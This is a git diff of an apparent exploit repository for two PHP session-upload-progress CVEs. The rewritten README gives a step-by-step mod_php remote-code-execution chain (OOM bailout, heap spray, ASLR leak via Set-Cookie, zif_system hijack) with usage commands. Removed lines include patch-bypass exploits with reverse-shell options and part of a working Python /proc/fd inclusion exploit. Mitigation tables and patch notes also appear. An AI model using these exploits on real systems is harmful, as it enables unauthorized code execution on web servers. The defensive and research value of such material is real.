diff --git a/.gitignore b/.gitignore index 9f18ed9..7a4d020 100644 --- a/.gitignore +++ b/.gitignore @@ -1,32 +1,5 @@ -# PHP builds -php-build/ -php83/ -php8427/ - -# WordPress core -wordpress/*.php -wordpress/wp-admin/ -wordpress/wp-includes/ -wordpress/wp-content/themes/ -wordpress/wp-content/uploads/ -wordpress/wp-content/plugins/akismet/ -wordpress/wp-content/plugins/hello.php -wordpress/wp-content/index.php -wordpress/wp-content/plugins/index.php -wordpress/license.txt -wordpress/readme.html -wordpress/wp-config.php -wordpress/wp-config-sample.php - -# Lab configs (generate your own) -*.conf -!.gitignore - -# Docker -docker-compose.yml - -# Runtime +__pycache__/ +*.pyc *.pid *.log *.sock -__pycache__/ diff --git a/README.md b/README.md index 43be2cb..3ae1397 100644 --- a/README.md +++ b/README.md @@ -1,274 +1,259 @@ -# php2shell — CVE-2026-109618 & CVE-2026-109619 +# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray -Remote Code Execution exploits for two critical PHP vulnerabilities in the -multipart parser and session upload progress handler. Includes three bypass -exploits that defeat the official security patch and all recommended mitigations, -plus a no-LFI chain that removes the application from the attack entirely. +Remote code execution in PHP's session upload progress handler, exploitable +over plain HTTP against Apache mod_php with **completely stock configuration**. +No LFI, no framework dependency, no non-default PHP settings required. -**No external dependencies** — pure Python 3 stdlib. +## Affected versions -## Vulnerabilities +PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11, +running under Apache mod_php with prefork MPM. -**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers -`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session -cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on -disk with attacker-controlled PHP code. LFI includes it for RCE. +Patched in PHP 8.3.36, 8.4.27, 8.5.12. -**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled -data verbatim into the session file. With `cleanup=0`, or via race condition -against `cleanup=1`, the poisoned session file is includable via LFI for RCE. +PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70), +so stale state never persists across requests. -**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35. +## What this exploit achieves -## Exploits +Full remote code execution (arbitrary command) from a single unauthenticated +HTTP client, against any PHP-handled URL, with full ASLR bypass. The target +page does not need `session_start()` or any specific code. -| Script | Target | Description | -|--------|--------|-------------| -| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE | -| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE | -| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** | -| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs | -| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload | -| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch | -| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** | -| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules | -| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** | -| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** | -| `uaf-rce/rce_exploit.py` | Apache mod_php | OOM → dangling PS(id) → heap spray → full ASLR bypass → **RCE, no LFI, no framework** | +Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image +with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`, +`display_errors=On`, `MaxRequestWorkers=150`). ## Prerequisites -- Python 3.8+ -- Target running PHP-FPM with `session.upload_progress.enabled=1` (default) -- A Local File Inclusion vector in the target application -- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`) +All of these are default on stock PHP Docker images and common Debian/Ubuntu +Apache + mod_php installations: + +- Apache mod_php with prefork MPM +- `session.upload_progress.enabled = 1` (default: on) +- `session.upload_progress.cleanup = 1` (default: on) +- Any PHP-handled URL (even a 404 error page) +- `display_errors = On` or `STDOUT` (default when no php.ini is deployed) + +The exploit bypasses PHP's `post_max_size` limit via HTTP chunked +Transfer-Encoding (see below), so the `post_max_size=8M` default is not +an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`. + +For multi-worker Apache (the default), the `--workers N` spray mode sends +the OOM trigger to all workers before probing for the leak. + +## How it works + +### The vulnerability chain + +**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST +parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to +the request shutdown handler. This skips session cleanup code in +`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer +and `PS(send_cookie) = 1`. + +**CVE-2026-109619**: On the next request to the same Apache worker, +`sapi_activate()` runs the RFC1867 callback BEFORE session state is +properly reinitialized. The callback sees the stale `PS(id)` and +`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the +dangling pointer. The `php_url_encode(PS(id))` call reads heap memory +through the stale pointer and emits it as a `Set-Cookie` header. + +### post_max_size bypass via chunked Transfer-Encoding + +PHP checks `Content-Length` against `post_max_size` before invoking the +multipart parser. If `Content-Length` exceeds the limit, the body is +rejected entirely. However, when the request uses `Transfer-Encoding: +chunked` instead of `Content-Length`, no upfront size check occurs. +PHP's `sapi_read_post_block()` reads chunked data from Apache's input +filter chain without enforcing `post_max_size`, allowing the full body +to be processed regardless of the configured limit. + +This means the exploit works against `memory_limit=128M` with +`post_max_size=8M` by sending ~140MB of chunked POST data. + +### Three-stage exploit (full ASLR bypass) + +All traffic is plain HTTP multipart POST requests: + +**Stage 1: Heap ASLR bypass (Zend MM chunk base)** + +Request A sends 1001+ fields (triggering `max_input_vars` warning which +sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and +`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a +large field via chunked TE to trigger OOM. The warning output prevents +`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)` +remains 1 and `PS(id)` becomes a dangling pointer. + +Request B sends `PHPSESSID` + progress fields plus ~841 filler fields +with a forge field containing a fake `zend_string` header (`len = 0x1000`). +The filler fields' heap allocations overlap the dangling `PS(id)` address. +When `php_session_send_cookie()` runs with the stale pointer, it reads +4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked +bytes contain Zend MM free-list pointers, which reveal the chunk base +address (2MB aligned). + +**Stage 2: Code ASLR bypass (libphp.so base)** + +Similar to stage 1, but request B's field layout places a real PHP +`HashTable` structure at the dangling pointer offset. The `pDestructor` +field of the HashTable is a function pointer into libphp.so +(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so +load address. + +**Stage 3: RCE (zif_system)** + +Request A poisons the worker with stale session state. Request B sprays +the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable` +whose `pDestructor = zif_system`. When session cleanup calls +`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with +attacker-controlled arguments, executing an arbitrary shell command as +the web server user (`www-data`). ## Usage -```bash -# CVE-2026-109618: OOM exploit -python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id' -python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 -python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only -# Use --no-chunked when nginx has fastcgi_request_buffering off -# Use --fields / --field-size to tune OOM threshold for target memory_limit - -# CVE-2026-109619: Session poisoning (direct or race) -python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page -python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race - -# WordPress (auto-detects LFI parameter) -python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id' -python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id' - -# Patch bypass: race condition on PHP 8.4.27+ -python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id' - -# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits) -python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id' - -# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0 -python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' -python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345 -``` - -All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`. -Use `--session-path` and `--lfi-param` to override auto-detection. - -## RCE Without LFI - -`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE -with **no application include at all**. The consumer is php-fpm's own request -routing instead of application code: - -1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into - `/sess_` during multipart parsing. This fires before - script dispatch, so any PHP-handled URL works — a 404 is enough. -2. If `session.save_path` is web-served, the session file is directly - requestable over HTTP. -3. With `security.limit_extensions` empty (common in production fpm pools), - fpm executes the extensionless session file through the classic - `cgi.fix_pathinfo` route: `GET /sessions/sess_/x.php?c=id`. -4. With `cleanup=1` (default) the file is truncated at upload end, so - execution is raced against the upload window (reliable on streaming - stacks, parse-time-limited on buffering stacks), or made deterministic - with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the - file persists. - -Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for -the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why -the session decoder itself can never be used as the consumer: the `php` -serializer aborts the entire write on `|` in any key (leaving a 0-byte file), -the raw attacker bytes always land in the key which is never unserialized, and -`mod_files` rejects any SID that could turn the filename into an include -target. - -```bash -# classify the target: which URL prefixes serve session.save_path -python3 nolfi/exploit_nolfi.py -t http://target/ --probe - -# interactive command shell via the served session dir -python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id' -python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444 - -# deterministic persistence via the OOM bailout instead of the race -python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \ - --oom --fields 30000 --fsize 512 --cmd 'id' -``` - -`nolfi/check_deploy.php` reports whether a deployment meets the two -preconditions (save_path web-served, empty limit_extensions). Drop it on the -target, request it once, remove it. - -## RCE via FastCGI (Default Config) - -`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special -PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or -unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port -scenarios. - -The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM -worker in the multipart parser (keeping the poisoned session file on disk) -while a second FastCGI request to another worker sets -`PHP_VALUE: auto_prepend_file = /tmp/sess_`, causing PHP to include the -session file before any script. The attacker's PHP code executes. - -`security.limit_extensions` does not block this: it only restricts -`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting -`php_admin_value[auto_prepend_file]` in the pool config also does not help: -raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6). - -```bash -# RCE via direct FastCGI (Docker, Kubernetes, exposed port) -python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id' - -# Unix socket (local access) -python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id' - -# Specify PHP file and session path -python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \ - --script-file /var/www/html/index.php \ - --session-path /tmp --cmd 'id' - -# Reverse shell -python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \ - --lhost 10.0.0.1 --lport 4444 -``` - -See `fcgi/FINDINGS.md` for the full analysis, test results, and why no -pool-level configuration can prevent this when FastCGI is reachable. - -## UAF RCE (Apache mod_php, No LFI, No Framework) - -`uaf-rce/rce_exploit.py` exploits the same CVEs through a pure memory -corruption path that requires **no LFI, no framework, no libraries, and no -non-default PHP settings**. The only SAPI requirement is Apache mod_php with -prefork MPM (default on Debian/Ubuntu). - -Three-stage exploit chain with full ASLR bypass, all over plain HTTP: - -1. **Heap leak**: OOM during multipart parsing leaves a dangling `PS(id)` - pointer. A second request sprays a fake `zend_string` with `len=0x1000` - over the freed slot. `php_session_send_cookie` reads 4096 bytes of heap - data into a `Set-Cookie` header, revealing the Zend MM chunk base. -2. **Code leak**: Same mechanism, but the spray places a real `HashTable` - at the target slot. The `pDestructor` field leaks the libphp.so base. -3. **RCE**: A fake `HashTable` with `pDestructor = zif_system` and an - embedded command string is sprayed onto the heap. Session cleanup calls - `zend_hash_destroy` on the fake table, invoking `system(cmd)`. - -The `post_max_size` limit is bypassed via chunked `Transfer-Encoding`: -PHP only checks `Content-Length`, so a chunked request with no -`Content-Length` header delivers the full OOM payload (140MB) despite the -default 8MB limit. - -Tested: 5/5 first-attempt RCE on `php:8.4.26-apache`, `php:8.3.35-apache`, -and WordPress 6.8.1 on stock PHP, all with zero configuration changes. - ```bash # Auto-detect PHP version, look up offsets, exploit -python3 uaf-rce/rce_exploit.py -u http://target/index.php +python3 rce_exploit.py -u http://target/index.php -# Verify RCE via docker exec -python3 uaf-rce/rce_exploit.py -u http://target/ \ +# Auto-pull matching Docker image for offset extraction +python3 rce_exploit.py -u http://target/index.php --auto-pull + +# Verify RCE via docker exec (for testing) +python3 rce_exploit.py -u http://target/index.php \ --docker-proof CONTAINER /tmp/pwn -# Multi-worker Apache -python3 uaf-rce/rce_exploit.py -u http://target/ --workers 150 +# Multi-worker Apache spray mode +python3 rce_exploit.py -u http://target/ --workers 150 -# Custom command (max 14 bytes; use 'sh/tmp/pwn' +# Custom command (max 14 bytes, use 'sh/tmp/pwn' + +# Extract offsets for a new PHP build +python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \ + --php-version 8.3.35 ``` -PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state -never persists across requests. See `uaf-rce/README.md` for the full -vulnerability analysis, patch details, and offset database. +### Options -## Patch Bypass Findings +| Flag | Default | Description | +|---|---|---| +| `-u URL` | (required) | Target URL (any PHP endpoint) | +| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) | +| `--workers N` | 1 | Apache workers to spray | +| `--huge-mb N` | 140 | OOM field size in MB | +| `--docker-proof C P` | | Verify via `docker exec C cat P` | +| `--auto-pull` | off | Pull Docker image for offset extraction | +| `--retries N` | 5 | Attempts per stage | +| `--profile` | auto | Heap profile (`bookworm` or `lab`) | +| `--timeout` | 30.0 | Socket timeout in seconds | -The PHP 8.4.27 patch has three confirmed bypass paths to RCE: +### Built-in offset database -**1. Race condition (TOCTOU)** — Session upload progress data exists on disk -during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI -request includes the file during the upload window. Inherent to the feature design. +| PHP version | Distro | Status | +|---|---|---| +| 8.4.26 | bookworm | Last vulnerable 8.4.x | +| 8.3.35 | bookworm | Last vulnerable 8.3.x | +| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) | +| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) | -**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's -`memory_limit` but not from OS-level limits. With `memory_limit=-1` and -RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code -path. Worker exits code 1 (not the patched code 70), session persists. +## The patch -**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is -includable via `/proc//fd/` from another FPM worker. No session -poisoning needed. **Bypasses every recommended mitigation.** +The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense +layers. Any one of the first three alone is sufficient to block the attack: -**4. Served save_path (no LFI)** — When `session.save_path` is web-served and -the fpm pool leaves `security.limit_extensions` empty, the poisoned session -file is executed by fpm itself via PATH_INFO routing. No application -cooperation, no include primitive. See `nolfi/FINDINGS.md`. +1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The + session RFC1867 callback now calls `php_rinit_session_globals()` at + the very start of multipart parsing, unconditionally zeroing `PS(id)`, + `PS(session_status)`, and `PS(send_cookie)`. This destroys the + dangling `PS(id)` from the previous request before B's parsing begins. + This single defense is sufficient to kill the entire exploit chain. -**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI -socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker -drips a multipart upload via raw FastCGI to hold a worker in the parser -while a second request sets `PHP_VALUE: auto_prepend_file=`. -No LFI, no special config, no library. `php_admin_value` does not block it. -See `fcgi/FINDINGS.md`. +2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` / + longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer + triggers a longjmp during allocation. Instead, a soft limit records + the error and sets `vm_interrupt`. Allocations return NULL in fallible + mode or succeed up to a hard limit (default 200% of `memory_limit`). + A hard limit calls `_exit(137)`. No longjmp means all cleanup code + runs normally, so stale state never persists. -### Mitigation Matrix +3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new + check in `fill_buffer()` enforces `post_max_size` against + `SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE + bypass (which previously allowed sending 140MB despite 8M limit) is + blocked. OOM cannot be triggered via multipart data alone. -| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend | -|---|---|---|---|---|---| -| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL | -| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK | -| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL | -| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK | -| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** | -| + save_path not web-served | — | — | — | OK | **FAIL** | -| + block FPM network access | — | — | — | — | OK | -| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** | +4. **`php_basic_early_rinit()`**: Called from `php_request_startup()` + before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`, + and `BG(unserialize)`, eliminating the stale serialization state + window from CVE-2026-109618. -### Recommendations +5. **Session deserialization hardening**: RFC1867 session decode runs in + `incomplete_classes_only` mode (no `__wakeup`/`__unserialize`). + `$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)` + guard prevents `request_parse_body()` from corrupting session state. -1. Set `session.upload_progress.enabled=0` in php.ini -2. Mount /proc with `hidepid=2` (or `hidepid=invisible`) -3. Fix any LFI vulnerabilities in applications -4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool -5. Keep `session.save_path` outside any web-served tree -6. Set `open_basedir` to restrict filesystem access -7. Block network access to FPM: use unix sockets with restricted permissions, - firewall TCP port 9000 +## Test environment -## WordPress +The `docker/` directory contains a minimal test setup: -The WordPress exploit requires a plugin that calls `session_start()` and has an -LFI vector. Two demo plugins are included: +```bash +cd docker && docker compose up -d +# Stock settings variant (no custom php.ini): +docker run -d --name stock -p 8093:80 php:8.4.26-apache +``` -- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI -- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with - template preview, log viewer, and session-based features +The exploit has been tested on: +- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings) +- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE +- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt) +- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each) +- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below) -Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/` +## display_errors and WordPress -## Disclaimer +The exploit's info leak (stages 1 and 2) relies on `display_errors = On`. +The `max_input_vars` warning must produce visible output to set +`SG(headers_sent) = 1` before the session cookie attempt, which causes +`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for +the next request's leak. -For authorized security testing and research only. Obtain proper authorization -before testing against any system you do not own. +With `display_errors = Off`, the warning is logged but produces no output. +The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak +cookie is emitted on the subsequent request. + +**Why stock PHP is still vulnerable**: PHP's compile-time default for +`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship +without a `php.ini`, so the default applies. Only when a system +administrator deploys `php.ini-production` (which sets `display_errors = Off`) +or adds explicit INI configuration is the target hardened against this leak. + +**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime +in `wp-settings.php`. This `ini_set` executes during script startup, which +is AFTER multipart POST parsing (where the OOM and session leak occur). +Therefore, WordPress installed on a stock PHP image (no `php.ini`) +is vulnerable, because `display_errors` is still `On` at the time the +exploit code path runs. The official `wordpress:*` Docker images ship +a custom `error-logging.ini` that sets `display_errors = Off` at the INI +level, which does block the leak. + +**Why display_errors=Off cannot be bypassed**: The info leak requires +`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during +`MULTIPART_EVENT_FILE_START`. The only code path that sets +`SG(headers_sent)` during multipart parsing is the error display path +(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is +gated on `display_errors`. With `display_errors = Off`, warnings go to +the error log only, producing no output. There is no alternative +mechanism to force HTTP output during multipart parsing: the SAPI write +function is the only path, and it requires display_errors or explicit +script output (which has not started yet at this stage of request +processing). Precision OOM calibration (attempting to trigger OOM inside +the ~500-byte `php_session_send_cookie` window) was tested and fails +due to Zend MM bin-size boundaries causing ~1MB allocation jumps that +cannot be calibrated to the required precision. + +## References + +- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup +- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests +- CVSS: 9.2 (both CVEs, per Rapid7) diff --git a/bypass/FINDINGS.md b/bypass/FINDINGS.md deleted file mode 100644 index 9f2999d..0000000 --- a/bypass/FINDINGS.md +++ /dev/null @@ -1,101 +0,0 @@ -# PHP 8.4.27 Patch Bypass Findings - -## Summary - -The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12) -for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that -achieve Remote Code Execution on fully patched systems. - -The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks -two of the three bypasses but is itself defeated by the third. - -## Bypass #1: Race Condition (TOCTOU) - -**File:** `race_bypass_patched.py` -**Confirmed RCE:** Yes, first attempt -**Patches bypassed:** PHP 8.4.27 OOM fix -**Mitigations bypassed:** session.upload_progress.cleanup=1 - -The session upload progress feature writes attacker-controlled data to the session -file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`. -A concurrent LFI request can race to include the session file while the upload is -still in progress. - -This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's -design — the data must exist on disk for the feature to work, creating a window -that cannot be eliminated without removing the feature. - -**Blocked by:** `session.upload_progress.enabled=0` - -## Bypass #2: RLIMIT_AS / mmap() Failure - -**File:** `rlimit_bypass_patched.py` -**Confirmed RCE:** Yes -**Patches bypassed:** PHP 8.4.27 OOM fix (different code path) -**Mitigations bypassed:** Standard memory_limit-based OOM handling - -The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator). -When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS` -(or cgroup memory.max), `mmap()` fails through a **different code path** that -the patch does not cover. - -- Worker exits with code **1** (not the patched exit code **70**) -- Session file **persists** on disk with attacker-controlled PHP code -- New worker spawns → LFI includes poisoned session → RCE - -Relevant in production: -- Docker/k8s containers with cgroup memory limits -- Shared hosting with per-tenant RLIMIT_AS -- Admins using `memory_limit=-1` trusting OS-level limits - -**Blocked by:** `session.upload_progress.enabled=0` - -## Bypass #3: /proc/PID/fd Temp File Inclusion - -**File:** `procfd_bypass_hardened.py` -**Confirmed RCE:** Yes, first attempt -**Patches bypassed:** ALL patches -**Mitigations bypassed:** ALL mitigations including `upload_progress=0` - -During a multipart file upload, PHP creates a temporary file with attacker- -controlled contents. This file is visible via `/proc//fd/` to any -process that can read procfs. A concurrent LFI request from a different FPM -worker can include this file directly. - -This attack does NOT use session poisoning at all — it bypasses every -session-related mitigation. - -**Blocked by:** -- Fixing the LFI vulnerability -- `hidepid=2` on /proc mount (hides other processes' FDs) -- `open_basedir` restricting /proc access -- Disabling file uploads entirely (impractical) - -## Mitigation Effectiveness Matrix - -| Mitigation | Race | RLIMIT | /proc/fd | -|-------------------------------|------|--------|----------| -| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | -| + upload_progress=0 | OK | OK | FAIL | -| + hidepid=2 on /proc | FAIL | FAIL | OK | -| + upload_progress=0 + hidepid | OK | OK | OK | -| Fix the LFI | OK | OK | OK | - -## Tested Vectors That Did NOT Bypass the Patch - -- **Multipart part header flood:** OOM triggered but the patch handles it - correctly (exit code 70, session file cleaned up) -- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's - `session.upload_progress` only fires on POST requests -- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse - as multipart/form-data -- **Access log poisoning:** Works conceptually but fragile (previous log - entries may cause PHP parse errors) - -## Recommendations - -1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini -2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels) -3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications -4. **Defense in depth:** Set `open_basedir` to restrict filesystem access -5. **Do NOT rely on the patch alone** — it leaves two bypass paths open diff --git a/bypass/procfd_bypass_hardened.py b/bypass/procfd_bypass_hardened.py deleted file mode 100755 index 93bd68b..0000000 --- a/bypass/procfd_bypass_hardened.py +++ /dev/null @@ -1,363 +0,0 @@ -#!/usr/bin/env python3 -""" -Hardening Bypass: RCE via /proc/PID/fd temp file inclusion - -This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619, -including the security patch AND session.upload_progress.enabled=0. - -It does NOT use session poisoning at all. Instead, it exploits the fact that -during a multipart file upload, PHP creates a temporary file whose contents -are attacker-controlled. This file is visible via /proc//fd/ to any -process that can read procfs (i.e., any PHP process on the same host). - -Attack flow: - 1. Send a multipart POST with a file upload containing PHP code - 2. While the upload is in progress (slow drip), the temp file exists as an - open file descriptor on the receiving FPM worker - 3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages, - or brute-forced from a narrow PID range) - 4. From a DIFFERENT FPM worker, include /proc//fd/ via LFI - 5. PHP interprets the temp file contents → RCE - -Why this bypasses everything: - - No session poisoning → session.upload_progress.enabled=0 is irrelevant - - No OOM needed → the PHP 8.4.27 OOM patch is irrelevant - - No session file persistence → session.upload_progress.cleanup=1 is irrelevant - - Standard multipart upload → WAF rules need to block ALL file uploads - -Limitations: - - Requires /proc mounted and readable (standard on Linux, not on BSD/Mac) - - Requires knowing or brute-forcing the target worker's PID - - Requires multiple FPM workers (upload worker != LFI worker) - - FD number is typically 4-7 but may vary - -Real-world PID discovery: - - phpinfo() page (common on staging/dev servers) - - Application leaking PID in response (getmypid()) - - PHP error messages may include PID - - /proc/sys/kernel/pid_max is usually 32768 → brute-forceable - - Container PID namespaces have small PID ranges (often 1-100) - -Tested: PHP 8.4.27 (patched + hardened, upload_progress=0) - -Usage: - python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' - python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345 - python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 -""" - -import argparse -import base64 -import os -import re -import socket -import sys -import threading -import time -from urllib.parse import urlparse - - -def tcp_connect(host, port, tls, timeout=60): - sock = socket.create_connection((host, port), timeout=timeout) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - - -def recv_all(sock, timeout=5): - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except socket.timeout: - pass - return resp - - -def body_of(resp): - if b"\r\n\r\n" in resp: - return resp.split(b"\r\n\r\n", 1)[1] - return resp - - -def discover_pids(host, port, tls, path, count=20): - """Discover FPM worker PIDs by making requests and parsing pid= from response.""" - pids = set() - for _ in range(count): - try: - sock = tcp_connect(host, port, tls, timeout=10) - sock.sendall( - b"GET " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - resp = recv_all(sock, timeout=3) - sock.close() - body = body_of(resp) - m = re.search(rb"pid=(\d+)", body) - if m: - pids.add(int(m.group(1))) - except Exception: - continue - return sorted(pids) - - -def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None): - """Send slow multipart upload to keep temp file FD open.""" - bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode() - - head = ( - b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n' - b"Content-Type: application/octet-stream\r\n\r\n" - + php_code + b"\n" - ) - file_size = 4 * 1024 * 1024 - tail = b"\r\n--" + bnd + b"--\r\n" - total = len(head) + file_size + len(tail) - - try: - sock = tcp_connect(host, port, tls, timeout=int(duration) + 10) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Content-Length: " + str(total).encode() + b"\r\n" - b"Connection: close\r\n\r\n" - + head - ) - if started: - started.set() - - sent = 0 - t0 = time.time() - while sent < file_size and (time.time() - t0) < duration: - if done and done.is_set(): - break - sock.sendall(b"\x00" * 4096) - sent += 4096 - time.sleep(0.04) - sock.sendall(tail) - except Exception: - pass - - try: - recv_all(sock, timeout=2) - except Exception: - pass - try: - sock.close() - 